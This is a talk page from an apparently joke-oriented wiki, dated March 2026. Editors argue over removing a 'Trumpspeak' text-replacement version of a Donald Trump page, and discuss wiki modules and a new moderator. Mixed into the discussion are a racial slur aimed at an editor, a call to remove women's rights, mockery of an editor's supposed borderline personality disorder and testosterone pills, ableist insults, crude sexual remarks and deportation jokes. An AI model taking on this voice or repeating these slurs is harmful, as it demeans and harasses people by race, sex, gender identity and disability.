ADD CASE INSENSITIVITY POLL[edit source]

Analects likes this. MarketPliers likes this. North likes this. Nickers likes this.

donald trump page[edit source]

Why was the trumpspeak removed? Also J.D._Vance still uses it

this is why we oughta remove women's rights.
>using modules in mainspace pages North (talk) 19:33, 7 March 2026 (UTC)
meds now i never used modules in namespace pages, someone else did it. Trumpspeak module is still a prototype and so is Readable module-- 我们之中 19:34, 7 March 2026 (UTC)
Why not? Seems like it would make maintaining the page easier. 〜 MarketPliers (leak here) 19:35, 7 March 2026 (UTC)
that's literally what i had the idea of. but idk cobblepooner sometimes just does things[JUST LIKE DA JOKER]
It makes my clitty leak. North (talk) 19:38, 7 March 2026 (UTC)
the joke isn't worth having two versions of a page over, most pages should be readable by default. Cobblestone (talk) 19:40, 7 March 2026 (UTC)
by that logic pages like ADHD and Schizo should be made readable by default.
The Donald Trump page is much more of a hassle to maintain with the text find&replacing instead of just template spam like Schizophrenia. North (talk) 19:45, 7 March 2026 (UTC)


INB4 NU GRADINGCAUST WHERE ALL UNREADABLE VERSIONS OF PAGES ARE REMOVED. THE NU CLITTYLEAKAGE EVENT -- 我们之中 19:47, 7 March 2026 (UTC)

Analects please calm down North (talk) 19:48, 7 March 2026 (UTC)
I'm calm. idc about this. but ik a thrembillion cacas will leak over this on the daily. which im less /calm/ about because we gotta get ice on these cacas and deport them back to school

Maybe have the readable version as default but keep the original as the 'TRVE VERSION' or somephono? I thought they were kinda funny tbh --Neptune (talk) 19:51, 7 March 2026 (UTC)

That's what I would have done too. but our lovely [it just is, ok?] pooner here has BPD and keeps making changes willy nilly without consulting us. -- 我们之中 19:54, 7 March 2026 (UTC)
you can just do that if you want Cobblestone (talk) 19:59, 7 March 2026 (UTC)
>you can just do that if you want
my negress you literally deleted all the unreadable versions, that just made it harder for Neptune. maybe you should take more of your testosterone pills, it'd make you less like a bpdemon.-- 我们之中 20:01, 7 March 2026 (UTC)
the trvmpspeak version is in the edit history Cobblestone (talk) 20:28, 7 March 2026 (UTC)
its nophono big deal tbh, i can just go to edit history and copy the source of the old version --Neptune (talk) 20:04, 7 March 2026 (UTC)
Somebody's got to 'tard wrangle this bitch every once in a while

how many times did you click on my 'cado[edit source]

please tell me-- 我们之中 20:56, 7 March 2026 (UTC)

marge Cobblestone (talk) 21:04, 7 March 2026 (UTC)
North (talk) 21:11, 7 March 2026 (UTC)

Thank you Cobby Cob[edit source]

I never thought I'd see the day I became a mawd. I will be sure to use my powers wisely. OopooPoopoo (talk) 18:03, 8 March 2026 (UTC)